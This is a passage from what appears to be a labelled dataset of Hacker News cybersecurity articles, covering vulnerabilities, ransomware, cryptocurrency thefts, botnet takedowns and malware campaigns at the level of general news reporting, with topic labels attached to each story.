Emmerich also released a proof-of-concept for this attack on his blog post.

2.) CVE-2019-9849: This vulnerability, which you can fix by installing the latest available update, could allow the inclusion of remote arbitrary content within a document even when 'stealth mode' is enabled.

The stealth mode is not enabled by default, but users can activate it to instruct documents retrieve remote resources only from trusted locations.

How to Protect Your System
Inführ has already notified LibreOffice team of the bypass issue, but until the team releases a patch to fix the bypass, users are recommended to update or reinstall the software without macros or at least without LibreLogo component, by following the below-mentioned steps.

Open the setup to start the installation
Select ""Custom"" installation
Expand ""Optional Components""
Click on ""LibreLogo"" and select ""This Feature Will Not Be Available""
Click Next and then Install the software

",Vulnerability
Hacker 'Pinkie Pie' successfully compromised Chrome on Nexus 4 and Samsung Galaxy S4,https://thehackernews.com/2013/11/pinkie-pie-successfully-compromised.html,"A Mysterious Hacker who goes by the ""Pinkie Pie"" handle is rewarded with $50,000 USD for hacking into the Google Chrome browser for Nexus 4 and Samsung Galaxy S4.
At Information Security Conference PacSec 2013 in Tokyo, during the HP's Pwn2Own contest, a zero-day exploit showcased by ""Pinkie Pie"", that took advantage of two vulnerabilities:
An integer overflow that affects Chrome.
Chrome vulnerability that resulted in a full sandbox escape.
For successful exploitation, you have to get your victim to visit a malicious website e.g. clicking a link in an email, or an SMS or on another web page. He demonstrated this zero-day attack with remote code execution vulnerability on the affected devices.

It is not known whether other Android phones are also vulnerable to same flaw or not. Vulnerability has been disclosed to Google by the Contest organizers and the company is working to address the issue as soon as possible.

Researchers from Japan has also found a second exploit for the Samsung Galaxy S4, for which they are rewarded with $40,000 yesterday.

Stay tuned to +The Hacker News 's Facebook Page and Twitter Account for more updates!

",Vulnerability
US police department pays $750 Ransom to retrieve their files from CryptoLocker Malware,https://thehackernews.com/2013/11/us-police-department-pays-750-ransom-to.html,"The CryptoLocker Malware continues to spread, infected more than 12,000 U.S computers in one week and threatening millions of computers in the UK.

Just last week, The UK National Crime Agency urge people afflicted by CryptoLocker not to pay ransom, not least because there is no guarantee that they will even receive an unlock key.

Not even Police departments are immune to CryptoLocker. In November second week, Massachusetts' Swansea Police Department paid a 2 Bitcoin ($750 that time) ransom to decrypt images and Word documents encrypted by CryptoLocker ransomware.

""It gave us 100 hours to pay and it was literally a timer,"" said Police Department. ""A big red screen comes up with a timer that says you have 100 hours to pay or your files will be encrypted forever.""

Malware usually distributed through spam emails, encrypting the user's files on the infected machine and also the local network it is attached to. However, Police Department said the virus did not affect the software that the police use in reports or booking.

Security experts also commented that ""The only reason this type of attack success is because people are willing to pay up. If no one ever paid, there would be no ransomware."" But will they also not pay ransom for their very important files, if encrypted by malware ? Definitely everyone will, as the Police have to. Other attackers are also moving in this direction as well.

There are many other ways, following that you can protect your system from CryptoLocker before infection. Ensure you have best one active and up-to-date and if a computer becomes infected it should immediately be disconnected from any networks.

Read more detailed articles on Cryptolocker Ransomware:
Cryptolocker Ransomware makes different Bitcoin wallet for each victim
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys

",Malware
Hacker Steals $8.4 Million in Ethereum (4th Heist In A Month),https://thehackernews.com/2017/07/ethereum-hack.html,"More Ethereum Stolen!

An unknown hacker has just stolen nearly $8.4 Million worth of Ethereum – one of the most popular and increasingly valuable cryptocurrencies – in yet another Ethereum hack that hit Veritaseum's Initial Coin Offering (ICO).

This incident marks as the fourth Ethereum hack this month and second cyber attack on an ICO, following a theft of $7 Million worth of Ether tokens during the hack of Israeli startup CoinDash's initial coin offering last week.

A few days ago, a hacker also stole nearly $32 Million worth of Ethereum from wallet accounts by exploiting a critical vulnerability in Parity's Ethereum Wallet software, which followed a $1 Million worth of Ether and Bitcoins heist in crypto currency exchange Bithumb earlier this month.

Now, Veritaseum has confirmed that a hacker stole $8.4 Million in Ether (ETH) from its ICO this Sunday, July 23.
""We were hacked, possibly by a group. The hack seemed to be very sophisticated, but there's at least one corporate partner that may have dropped the ball and be liable. We will let the lawyers sort that out if it goes that far,"" Veritaseum founder Reggie Middleton confirmed the theft on the BitcoinTalk forum.
Middleton has called the recent Ethereum hack ""inconsequential,"" saying some of his partners (unnamed corporate third party services) may be responsible for the attack.

Middleton said that due to the high demand of the VERI tokens during the ICO held over the weekend, the hacker first managed to steal those tokens and then immediately sold them to other buyers ""within a few hours"" for the cryptocurrency.

The hacker made off an estimated $8.4 million in ETH during that a relatively short period of time. The stolen funds were first dumped into two separate Ethereum wallets and then were moved to other accounts.

It looks like around 37,000 VERI tokens were stolen out of 100 Million in the recent theft, though the good news is that the Ethereum theft does not affect actual ICO investors, as Middleton says the stolen tokens belonged to him and his team members.
""There are 100M tokens issued; the hackers stole about 37k. As I said, it is quite disconcerting, but it is not the end [of] the world. In the scheme of things, this is small,"" Middleton says.
""The tokens were stolen from me, not the token buyers. I am not downplaying the seriousness of the heist either, but I am looking at the heist for what it is. A company that we use was compromised, the vulnerability was closed, and we are investigating whether we should move against that company or not.""
At the moment, Middleton did not disclose the attack vector that was exploited to sweep out $8.4 Million in ETH, though he assured users that his team had taken necessary measures to prevent the attack from happening in the future.

",Data_Breaches
Beware Coffee Lovers! StarBucks Exposed you to 3 Critical Vulnerabilities,https://thehackernews.com/2015/09/hacking-starbukcs-password.html,"Ever registered on StarBucks website? Change your passwords now!

If you are one of those Millions Starbucks customers who have registered their accounts and credit card details on StarBucks website, then your banking details are vulnerable to hackers.

An Independent Security Researcher, Mohamed M. Fouad from Egypt, has found three critical vulnerabilities on StarBucks website that could have allowed attackers to take over your account in just one click.

The vulnerabilities include:
Remote Code Execution
Remote File Inclusion lead to Phishing Attacks
CSRF (Cross Site Request Forgery)

Stealing Credit Cards Details

In case of Remote File Inclusion flaw, an attacker can inject a file from any location into the target page, which includes as a source code for parsing and execution, allowing attacker to perform:
Remote Code Execution on the company's web server
Remote Code Execution on the client-side, potentially allowing attacker to perform other attacks such as Cross-Site Scripting (XSS)
Data theft or data manipulation via Phishing attacks in an attempt to hijack customers' accounts containing credit cards details

Hijacking Starbucks Store Account Using CSRF

CSRF or Cross-Site Request Forgery is a method of attacking a website in which an intruder masquerades as a legitimate user. All attackers need to do is get the target browser to make a request to the site on their behalf, if they can either:
Convince users to click on their HTML page
Insert arbitrary HTML in a target site

In this case, an attacker can use CSRF to trick a victim into clicking a URL that changes user's store account information including account password.

This could allow the attacker to hijack victims' accounts, delete accounts or change victims' email addresses.

Video Demonstration

Fouad has also provided a video demonstration as a Proof of Concept to show the attack in work. You can watch the video given below:

In a white-hat style, Fouad reported the critical flaws to StarBucks twice but didn't get any reply from the team.

Fouad then reported the same flaws to US-CERT, which confirmed the vulnerabilities that were fixed by the StarBucks team nearly ten days ago.

However, Fouad is still waiting for the reply and his bug bounty from StarBucks team, as the company started the bug bounty program just two months ago.

",Vulnerability
Digitally Signed Bandook Malware Once Again Targets Multiple Sectors,https://thehackernews.com/2020/11/digitally-signed-bandook-malware-once.html,"A cyberespionage group with suspected ties to the Kazakh and Lebanese governments has unleashed a new wave of attacks against a multitude of industries with a retooled version of a 13-year-old backdoor Trojan.
Check Point Research called out hackers affiliated with a group named Dark Caracal in a new report published yesterday for their efforts to deploy ""dozens of digitally signed variants"" of the Bandook Windows Trojan over the past year, thus once again ""reigniting interest in this old malware family.""
The different verticals singled out by the threat actor include government, financial, energy, food industry, healthcare, education, IT, and legal institutions located in Chile, Cyprus, Germany, Indonesia, Italy, Singapore, Switzerland, Turkey, and the US.
The unusually large variety of targeted markets and locations ""reinforces a previous hypothesis that the malware is not developed in-house and used by a single entity, but is part of an offensive infrastructure sold by a third party to governments and threat actors worldwide, to facilitate offensive cyber operations,"" the researchers said.
Dark Caracal's extensive use of Bandook RAT to execute espionage on a global scale was first documented by the Electronic Frontier Foundation (EFF) and Lookout in early 2018, with the group attributed to the theft of enterprise intellectual property and personally identifiable information from thousands of victims spanning over 21 countries.
The prolific group, which has operated at least since 2012, has been linked to the Lebanese General Directorate of General Security (GDGS), deeming it a nation-state level advanced persistent threat.
The concurrent use of the same malware infrastructure by different groups for seemingly unrelated campaigns led the EFF and Lookout to surmise that the APT actor ""either uses or manages the infrastructure found to be hosting a number of widespread, global cyberespionage campaigns.""
Now the same group is back at it with a new strain of Bandook, with added efforts to thwart detection and analysis, per Check Point Research.
A Three-Stage Infection Chain
The infection chain is a three-stage process that begins with a lure Microsoft Word document (e.g. ""Certified documents.docx"") delivered inside a ZIP file that, when opened, downloads malicious macros, which subsequently proceeds to drop and execute a second-stage PowerShell script encrypted inside the original Word document.
In the last phase of the attack, this PowerShell script is used to download encoded executable parts from cloud storage services like Dropbox or Bitbucket in order to assemble the Bandook loader, which then takes the responsibility of injecting the RAT into a new Internet Explorer process.
The Bandook RAT — commercially available starting in 2007 — comes with all the capabilities typically associated with backdoors in that it establishes contact with a remotely-controlled server to receive additional commands ranging from capturing screenshots to carrying out various file-related operations.
But according to the cybersecurity firm, the new variant of Bandook is a slimmed-down version of the malware with support for only 11 commands, while prior versions were known to feature as many as 120 commands, suggesting the operators' desire to reduce the malware's footprint and evade detection against high-profile targets.
That's not all. Not only valid certificates issued by Certum were used to sign this trimmed version of the malware executable, Check Point researchers uncovered two more samples — full-fledged digitally-signed and unsigned variants — which they believe are operated and sold by a single entity.
""Although not as capable, nor as practiced in operational security like some other offensive security companies, the group behind the infrastructure in these attacks seems to improve over time, adding several layers of security, valid certificates and other techniques, to hinder detection and analysis of its operations,"" the researchers concluded.

",Cyber_Attack
Apple update removes Java plugin from OS X browsers,https://thehackernews.com/2012/10/apple-update-removes-java-plugin-from.html,"Apple has discontinued its own Java plugin, issuing an 'update' that removes it from MacOS and encourages users to instead download Oracle's version of the software. Its another step by Apple towards making OS X safer on the web.

Mac users may have noticed that Java-based websites are displaying a ""Missing Plug-in"" notification. The Apple Support page states that this update is for OS X 10.7 and later. Apart from stripping browsers of the Java plug-in, it also removes the Java Preferences application, since it is no longer required for applet setting configuration. Just to be clear, the update does not remove Java from your system if its installed, just the Java plugin from your web browsers.

In August, Java was blasted as an unsafe plug-in that should only be used when absolutely necessary after a zero-day exploit was discovered, rolled into the user-friendly Blackhole exploit kit and used for nearly a week before Oracle issued a patch. That patch, however, also proved to be full of security bugs.

In April this year, Apple came under the scanner for Flashback malware that threatened OS X users by exploiting a vulnerability in Java. Dubbed as a BackDoor.Flashback.39 Trojan, the virus attacked over half-a-million computers.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Vulnerability
Several Bugs Found in 3 Open-Source Software Used by Several Businesses,https://thehackernews.com/2021/07/several-bugs-found-in-3-open-source.html,"Cybersecurity researchers on Tuesday disclosed nine security vulnerabilities affecting three open-source projects — EspoCRM, Pimcore, and Akaunting — that are widely used by several small to medium businesses and, if successfully exploited, could provide a pathway to more sophisticated attacks.
All the security flaws in question, which impact EspoCRM v6.1.6, Pimcore Customer Data Framework v3.0.0, Pimcore AdminBundle v6.8.0, and Akaunting v2.1.12, were fixed within a day of responsible disclosure, researchers Wiktor Sędkowski of Nokia and Trevor Christiansen of Rapid7 noted. Six of the nine flaws were uncovered in the Akaunting project.
EspoCRM is an open-source customer relationship management (CRM) application, while Pimcore is an open-source enterprise software platform for customer data management, digital asset management, content management, and digital commerce. Akaunting, on the other hand, is an open-source and online accounting software designed for invoice and expense tracking.
The list of issues is as follows -
CVE-2021-3539 (CVSS score: 6.3) - Persistent XSS flaw in EspoCRM v6.1.6
CVE-2021-31867 (CVSS score: 6.5) - SQL injection in Pimcore Customer Data Framework v3.0.0
CVE-2021-31869 (CVSS score: 6.5) - SQL injection in Pimcore AdminBundle v6.8.0
CVE-2021-36800 (CVSS score: 8.7) - OS command injection in Akaunting v2.1.12
CVE-2021-36801 (CVSS score: 8.5) - Authentication bypass in Akaunting v2.1.12
CVE-2021-36802 (CVSS score: 6.5) - Denial-of-service via user-controlled 'locale' variable in Akaunting v2.1.12
CVE-2021-36803 (CVSS score: 6.3) - Persistent XSS during avatar upload in Akaunting v2.1.12
CVE-2021-36804 (CVSS score: 5.4) - Weak Password Reset in Akaunting v2.1.12
CVE-2021-36805 (CVSS score: 5.2) - Invoice footer persistent XSS in Akaunting v2.1.12
Successful exploitation of the flaws could enable an authenticated adversary to execute arbitrary JavaScript code, commandeer the underlying operating system and use it as a beachhead to launch additional nefarious attacks, trigger a denial-of-service via a specially-crafted HTTP request, and even change the company associated with a user account sans any authorization.
EspoCRM
Pimcore Customer Data Framework
Also addressed in Akaunting is a weak password reset vulnerability where the attacker can abuse the ""I forgot my password"" functionality to send a phishing email from the application to a registered user containing a malicious link that, when clicked, delivers the password reset token. The bad actor can then use the token to set a password of their choice.
""All three of these projects have real users, real customers of their attendant support services and cloud-hosted versions, and are undoubtedly the core applications supporting thousands of small to medium businesses running today,"" the researchers noted.
""For all of these issues, updating to the latest versions of the affected applications will resolve them. If updating is difficult or impossible due to external factors or custom, local changes, users of these applications can limit their exposure by not presenting their production instances to the internet directly — instead, expose them only to trusted internal networks with trusted insiders.""

",Vulnerability
Apple Crash Reports Help Hackers to create a jailbreak exploit,https://thehackernews.com/2011/12/apple-crash-reports-help-hackers-to.html,"Apple Crash Reports Help Hackers to create a jailbreak exploit


iPhone ""jailbreaking"" has been a hot topic since Apple released its smartphone more than two years ago. According to the Latest report posted by BBC that Thousands of iPhone owners have joined forces with a team of hackers to help them find new ways to jailbreak Apple's phone software & Jailbreakers use Apple crash reports to unlock iPhones.

You may be wondering and hearing alot on ""What Is Jailbreaking an Iphone? How do you do that?"" Jailbreaking is basically modifying the iPhone's firmware so that you can get access to the internals of its operating system and install a whole slew of third-party applications on your iPhone that are not otherwise available through official channels.Jailbreaking your iPhone in and of itself doesn't normally make much difference in your operation of it, but it does allow you to install other third-party applications that are not blessed by Apple.

A collective of hackers known as the iPhone Dev-Team publishes easy-to-use, cross-platform tools that allow you to install third-party apps on your iPhone that Apple won't admit into its App Store. The latest version of the iPhone's operating system is proving to be extremely hard to jailbreak fully, according to Joshua Hill, a member of the Chronic Dev hacker team.""Apple is really making it tough for us. The iPhone is now better protected than most nuclear missile facilities,"" he says.

Jailbreaking your iOS device also enables you to change your phone's behavior and even add some nifty extra features. One such feature that Apple prohibited was FaceTime or any demanding data tasks over 3G.

How Hackers Develop a Jailbreak application ? Well, Hackers like Mr Hill hunt for programming errors, or bugs, in Apple's software. Bugs may result in a program crashing or shutting down, and they are like gold dust to hackers because sometimes they can be exploited to create a jailbreak. Hackers may have to crash a particular program thousands of times as they work out how to exploit a bug successfully, but this alerts Apple that the bug exists and that hackers may be investigating it.

Phone manufacturers don't want you to do it because of the small number of cases in which it can make the phone unstable or open it up to security breaches. It then makes them look bad because it's their phone that's crashing or introducing malware to your network.

But Users Hate hate it even more because it can cost them money. They even go so far as to cripple features that the phone makers build in, so they can charge you an extra fee for the same service. One example is Wi-Fi hotspot capability, for which carriers charge up to $30 per month when you can do the same thing on a rooted phone with no extra fees using a free or low, one-time-cost app. Some carriers also don't want you running apps like Skype to make phone calls instead of using expensive cellular voice minutes.

Chronic Dev is ready to turn this little information battle into an all-out, no-holds-barred information WAR. A program called CDevreporter that iPhone users can download to their PC or Mac. The program intercepts crash reports from their phones destined for Apple and sends them to the Chronic Dev team. ""In the first couple of days after we released CDevreporter we received about twelve million crash reports,"" he says. ""I can open up a crash report and pretty much tell if it will be useful or not for developing a jailbreak, but we have so many that I am working on an automated system to help me analyse them.""

Is Jailbreaking Legal ? In July,2010 The United States government announced that jailbreaking and unlocking iPhones, rooting of Android phones and ripping DVDs (for educational purposes) is completely legal as long as they are not violating copyright law. It is also apparently not illegal to jailbreak devices in the UK, although it does invalidate product warranties, according to Simon Halberstam, technology law expert and partner at Kingsley Napley.

Apple tries to prevent jailbreaking for security reasons once a phone has been jailbroken users could unwittingly install malware that might not get past Apple's approval process. Mr Hill rejects this argument: ""I am trying to make sure that my phone is safe and your phone is safe. Apple cares about money, not your safety.""

As yet the Chronic Dev team has not announced that it has found any bugs that it can exploit, but a member of the team called pod2g claims to have found a way to create an untethered jailbreak anyway. Even if Apple fixes the bug that makes this jailbreak possible, Mr Hill is confident that the hackers will find more ways.

",Vulnerability
New Flashback malware variant found in the wild,https://thehackernews.com/2012/04/new-flashback-malware-variant-found-in.html,"New Flashback malware variant found in the wild

A new Flashback Trojan has been discovered that infects Macs without prompting the user for a password. If you haven't updated Java on your Mac, or disabled it entirely, you could be a victim. The new variant dubbed Flashback.S is actively being distributed in the wild, taking advantage of a Java vulnerability that Apple has already patched.

Flashback.S drops two files in the user's home folder, then deletes cached Java files to avoid detection. However, the researchers did not indicate what this new variant was specifically designed to do or how many computers might be infected.

At its height, the original Flashback, which was designed to grab passwords and other information from users through their web browser and other applications, was estimated to be infecting more than 600,000 Macs.

After analyzing 100,000 Macs running the firm's free anti-virus software program, Sophos discovered several Apple computers carrying Windows malware.

This is not the first time that Mac users have been hit by a Windows-style computer virus. Last year, security researchers discovered that a piece of malware, called Mac Defender, was aimed at Macs until Apple released a patch at the end of May 2011.

",Malware
Why Is There A Surge In Ransomware Attacks?,https://thehackernews.com/2021/08/why-is-there-surge-in-ransomware-attacks.html,"The U.S. is presently combating two pandemics--coronavirus and ransomware attacks. Both have partially shut down parts of the economy. However, in the case of cybersecurity, lax security measures allow hackers to have an easy way to rake in millions.
It's pretty simple for hackers to gain financially, using malicious software to access and encrypt data and hold it hostage until the victim pays the ransom.
Cyber attacks are more frequent now because it is effortless for hackers to execute them. Further, the payment methods are now friendlier to them. In addition, businesses are willing to pay a ransom because of the growing reliance on digital infrastructure, giving hackers more incentives to attempt more breaches.
Bolder cybercriminals
A few years back, cybercriminals played psychological games before getting bank passwords and using their technical know-how to steal money from people's accounts. They are bolder now because it is easy for them to buy ransomware software-as-a-service and learn hacking techniques from online video-sharing sites, like YouTube. Some cyber gangs are even offering their services for a business hacking set up for a fee, typically a share of the profits.
Cryptocurrency made the hackers bolder, as they can extort unlimited and anonymous cash payments. With the anonymity of bitcoin transfers, hackers found out they can demand higher amounts from their victims.
You can also blame the rise in cyberattacks on the behavior of some firms that are willing to pay millions of dollars in bitcoin. However, attacks will stop if firms and data security experts ensure that hacking will not be profitable anymore.
Are cyber attacks getting a higher profile or actually rising?
The answer to both questions is yes. Ransomware is becoming more common because it is straightforward to execute. Hackers use software to poke around security holes or by tricking network users using phishing scam tactics like sending malware that seem to come from a trusted source. In addition, some large companies have been lax with their network security protocols, which cybersecurity experts learned recently.
One such case is the supply chain attack at Colonial Pipeline, whose CEO Joseph Blount admitted before Congress that the company does not use multifactor authentication when users log in.
Based on the Internet Crime Report released in 2020, the FBI received close to 2,500 ransomware reports in 2020, 20 percent higher than the reported cases in 2019. The FBI also noted that the collective cost of the ransomware attacks in 2020 was close to $29.1 million. It is equivalent to a 200 percent increase over 2019, wherein the cost reached $8.9 million.
Another contributing factor to the rise in ransomware attacks is the growing number of online users. The coronavirus pandemic caused a spike in worldwide internet usage. Many students and workers are working and learning remotely.
Cybercrime Magazine predicts that ransomware will cost victims about $265 billion each year starting 2031. Attacks are likely to occur every two seconds as hackers refine their malware attacks and extortion practices.
Impact of ransomware on business
We already know how ransomware can have devastating effects on businesses, large or small. But it pays to be reminded time and again because even enterprises can become victims. Cybercriminals continue to exploit vulnerabilities in network security systems. In addition, many hacking gangs are using ransomware and denial-of-service attacks for financial gains.
Aside from the increasing occurrence of ransomware attacks, the cost of the attacks is growing as well. Ransomware paralyzes a company's digital network and associated devices. Because sensitive business data is breached, business operations, particularly for supply chains, are affected--thus, companies prefer to pay a ransom.
But theoretically, even if the company pays ransom, there is no guarantee that the sensitive data has not been copied. Likewise, there is no guarantee that attackers will return all the data or that the decryption key will work. In the case of Colonial, the decryption key hackers gave them after paying the ransom was too slow. So Colonial resorted to using their backup files. Kaseya, on the other hand, preferred to work with a third party for a decryption key.
Preventing ransomware infection
The FBI advises companies never to pay ransom to cybercriminals because it encourages them to launch more attacks. Some ways to prevent such attacks include:
Working with a cybersecurity firm that provides the best security system that fits a business' current and future needs is one of your primary options.
Staying vigilant is another way to thwart infection. If your systems are slowing down for no apparent reason, disconnect from the internet and shut it down. Then, you can call your network security provider and seek their help. The Biden administration encourages businesses to beef up their cybersecurity programs and review their corporate security plans. Further, you should cooperate with the FBI and the Ransomware and Digital Extortion Task Force of the U.S. Department of Justice.
Aside from the technical aspect of assuring cybersecurity, sometimes it pays to go back to basics.
Use security training so your employees will have a better understanding of the importance and meaning of cybersecurity. In addition, employees should learn to ensure the protection of the entire company from cyber attacks.
Train yourself and your staff not to click on links from unverified sources, as phishing emails are one of the methods to spread malware and make your company an easy target. Always scan emails, and notify employees of out-of-network emails.
Practice creating regular backups of your data. Have at least two data backups and store them at separate locations. Grant access to your backup only to your most trusted staff.
Use data encryption to protect emails, file exchanges, and personal information.
Ensure that you upgrade all your applications regularly so you can fix vulnerabilities.
Use password managers to ensure that all employees will have stronger passwords. Instruct employees to use different passwords to log in to the other applications you use in your company.
Conclusion
Ransomware attacks are rampant, due to their ease and profitability. Knowing about the activities of cybercriminal gangs and providing employee training on cybersecurity is vital. Combining technological expertise and basic security practices will help mitigate ransomware infection. However, it's important not to panic and know the security measures you should follow.

",Malware
QR codes - Next way for Android Malware,https://thehackernews.com/2011/10/qr-codes-next-way-for-android-malware.html,"Once a user scans the QR code, the code redirects them to a site that will install a Trojan on their Android smart phones. Kaspersky's SecureList blog has a report of a malicious QR code on a web site which when scanned directs the user to a URL; the linked site doesn't have a file matching the name in the URL, but it does redirect the browser to another site where the file jimm.apk is downloaded.

The file is a trojanized version of the Jimm mobile ICQ client, infected with Trojan-SMS.AndroidOS.Jifake.f which sends a number of SMS messages to a $6 a message premium rate service.

Once installed, the Trojan will send a number of SMS messages to premium-rate numbers, which will end up costing the victim some money, depending on how quickly she is able to find and remove the Trojan.

Kaspersky's Denis Maslennikov reports that the malware itself is a Trojanized Jimm application (mobile ICQ client) which sends several SMS messages to premium rate number 2476 (US$6.00 each).

",Malware
THN Weekly Roundup — Top 10 Stories You Should Not Miss,https://thehackernews.com/2017/12/cybersecurity-hacking-news.html,"Here we are with our weekly roundup, briefing this week's top cybersecurity threats, incidents, and challenges, just in case you missed any of them.

Last week has been very short with big news from the theft of over 4,700 Bitcoins from the largest cryptocurrency mining marketplace to the discovery of a new malware evasion technique that works on all versions of Microsoft's Windows operating system.

Besides this, the newly discovered Janus vulnerability in the Android operating system and a critical remote code execution (RCE) vulnerability in Malware Protection Engine (MPE) for which Microsoft released an emergency patch made their places in our weekly roundup.

I recommend you to read the entire news (just click 'Read More' because there's some valuable advice in there as well).

So, here we go with the list of this Week's Top Stories:

Process Doppelgänging: New Malware Evasion Technique

A team of researchers, who previously discovered AtomBombing attack, recently revealed a new fileless code injection technique that could help malware authors defeat most of the modern anti-virus solutions and forensic tools.

Dubbed Process Doppelgänging, the method takes advantage of a built-in Windows function and an undocumented implementation of Windows process loader, and works on all versions of Microsoft Windows operating system, starting from Windows Vista to the latest version of Windows 10.

To know How Process Doppelgänging attack works and why Microsoft refused to fix it, Read More.

Android Flaw Lets Hackers Inject Malware Into Apps Without Altering Signatures

A newly discovered vulnerability, dubbed Janus, in Android could let attackers modify the code of Android apps without affecting their signatures, eventually allowing them to distribute malicious update for the legitimate apps, which looks and works same as the original apps.

Although Google has patched the vulnerability this month, a majority of Android users would still need to wait for their device manufacturers to release custom updates for them, apparently leaving a large number of Android users vulnerable to hackers for next few months.

To know more about the vulnerability, how it works and if you are affected, Read More.

Pre-Installed Keylogger Found On Over 460 HP Laptop Models

Once again, Hewlett-Packard (HP) was caught pre-installing a keylogger in more than 460 HP Notebook laptop models that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details.

When reported last month, HP acknowledged the presence of the keylogger, saying it was actually ""a debug trace"" which was left accidentally, and affected users can install updated Synaptics touchpad driver to remove it manually.

To know how to check if your HP laptop is vulnerable to this issue and download compatible drivers, Read More.

New Email Spoofing Flaw Affects Over 30 Popular Email Clients
Researchers discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms.

Dubbed MailSploit, the vulnerabilities affect popular email clients including Apple Mail (for macOS, iOS, and watchOS), Mozilla Thunderbird, Yahoo Mail, ProtonMail, several Microsoft email clients, and others.

To watch the PoC video released by the researchers and know more about the vulnerabilities, Read More.

Largest Crypto-Mining Exchange Hacked; Over $80 Million in Bitcoin Stolen

Last week was the golden week in Bitcoin's history when the price of 1 BTC touched almost $19,000, but the media hype about the bitcoin price diminishes the hack of the largest Bitcoin mining marketplace.

NiceHash mining marketplace confirmed a breach of its website, which resulted in the theft of more than 4,736 Bitcoins, which now worth nearly $80 million.

The service went offline (and is still offline at the time of writing this article) with a post on its website, confirming that ""there has been a security breach involving NiceHash website,"" and that hackers stole the contents of the NiceHash Bitcoin wallet.

To know more about the Bitcoin hack, Read More.

Microsoft Issues Emergency Windows Security Update

A week before its December Patch Tuesday updates, Microsoft released an emergency security patch to address a critical remote code execution vulnerability in its Malware Protection Engine (MPE) that could allow an attacker to take full control of a victim's PC.

The vulnerability (CVE-2017-11937) impacts Windows 10, Windows 8.1, Windows 7, Windows RT 8.1, and Windows Server, and affects several Microsoft's security products, including Windows Defender, Microsoft Security Essentials, Endpoint Protection, Forefront Endpoint Protection, and Exchange Server 2013 and 2016.

To know more about the vulnerability, Read More.

Security Flaw Left Major Banking Apps Vulnerable to MiTM Attacks Over SSL

Scientists discovered a critical implementation flaw in major mobile banking apps—for both iOS and Android—that left banking credentials of millions of users vulnerable to man-in-the-middle attacks.

Attackers, connected to the same network as the victim, could have leveraged vulnerable banking apps to intercept SSL connection and retrieve the user's banking credentials, like usernames and passwords/pincodes—even if the apps are using SSL pinning feature.

To know how attackers could have exploited this vulnerability to take over your bank accounts, Read More.

Massive Data Breach Exposes Personal Data On 31 Million Users

While downloading apps on their smartphones, most users may not realize how much data they collect on them, and app developers take advantage of this ignorance, wiping off more data on their users than they actually require for the working of their app.

But what if this data falls into the wrong hand?

The same happened last week, when a massive trove of personal data (over 577 GB) belonging to more than 31 million users of the famous virtual keyboard app, called AI.type, leaked online for anyone to download without requiring a password.

To know more about the data breach incident and what information users lost, Read More.

Critical Flaw in Major Android Tools Targets Developers
An easily-exploitable vulnerability discovered in Android application developer tools, both downloadable and cloud-based, could allow hackers to steal files and execute malicious code on vulnerable systems remotely.

The vulnerability was discovered by security researchers at CheckPoint, who also released a proof of concept (PoC) attack, dubbed ParseDroid, along with a video to demonstrate how the attack works.

To watch the video and know how this vulnerability can be exploited, Read More.

Uber Paid Florida Hacker $100,000 to Keep Data Breach News Secret

It turns out that a 20-year-old Florida man, with the help of another, was responsible for the massive Uber data breach in October 2016 and was paid an enormous amount by the ride-hailing company to destroy the data and keep the data breach incident secret.

Last week, Uber announced that a massive data breach last year exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information.

To know more about the data breach at Uber and the hackers, Read More.

",Malware
Microsoft and Other Tech Companies Take Down TrickBot Botnet,https://thehackernews.com/2020/10/trickbot-computer-virus.html,"Days after the US Government took steps to disrupt the notorious TrickBot botnet, a group of cybersecurity and tech companies has detailed a separate coordinated effort to take down the malware's back-end infrastructure.
The joint collaboration, which involved Microsoft's Digital Crimes Unit, Lumen's Black Lotus Labs, ESET, Financial Services Information Sharing and Analysis Center (FS-ISAC), NTT, and Broadcom's Symantec, was undertaken after their request to halt TrickBot's operations was granted by the US District Court for the Eastern District of Virginia.
The development comes after the US Cyber Command mounted a campaign to thwart TrickBot's spread over concerns of ransomware attacks targeting voting systems ahead of the presidential elections next month. Attempts aimed at impeding the botnet were first reported by KrebsOnSecurity early this month.
Microsoft and its partners analyzed over 186,000 TrickBot samples, using it to track down the malware's command-and-control (C2) infrastructure employed to communicate with the victim machines and identify the IP addresses of the C2 servers and other TTPs applied to evade detection.
""With this evidence, the court granted approval for Microsoft and our partners to disable the IP addresses, render the content stored on the command and control servers inaccessible, suspend all services to the botnet operators, and block any effort by the TrickBot operators to purchase or lease additional servers,"" Microsoft said.
Since its origin as a banking Trojan in late 2016, TrickBot has evolved into a Swiss Army knife capable of pilfering sensitive information, and even dropping ransomware and post-exploitation toolkits on compromised devices, in addition to recruiting them into a family of bots.
""Over the years, TrickBot's operators were able to build a massive botnet, and the malware evolved into a modular malware available for malware-as-a-service,"" Microsoft said.
""The TrickBot infrastructure was made available to cybercriminals who used the botnet as an entry point for human-operated campaigns, including attacks that steal credentials, exfiltrate data, and deploy additional payloads, most notably Ryuk ransomware, in target networks.""
Typically delivered via phishing campaigns that leverage current events or financial lures to entice users into opening malicious file attachments or clicking links to websites hosting the malware, TrickBot has also been deployed as a second-stage payload of another nefarious botnet called Emotet.
The cybercrime operation has infected over a million computers to date.
Microsoft, however, cautioned that it did not expect the latest action to permanently disrupt TrickBot, adding that the cybercriminals behind the botnet will likely make efforts to revive their operations.
According to Swiss-based Feodo Tracker, eight TrickBot control servers, some of which were first seen last week, are still online after the takedown.

",Malware
Hackers Can Remotely Hack Self-Aiming Rifles to Change Its Target,https://thehackernews.com/2015/07/self-aiming-rifle-hacking.html,"High-tech Sniper Rifles can be remotely hacked to shoot the wrong target – Something really scary and unpredictable.

Yes, Hackers can remotely gain access to the $13,000 TrackingPoint sniper rifles that run Linux and Android operating system and have Wi-Fi connections. So then they can either disable the gun or choose a wrong target.

A married pair of security researchers have proved that anything connected to the Internet can ultimately be hacked, whether computer systems, cars or… GUNS.

According to the duo, the Tracking Point's self-aiming rifle sights, better known as the ShotView targeting system, is vulnerable to WiFi-based attacks that could allow your enemy to redirect bullets to new targets of their choice.

Hacking $13,000 Self-aiming Rifles to Shoot wrong target

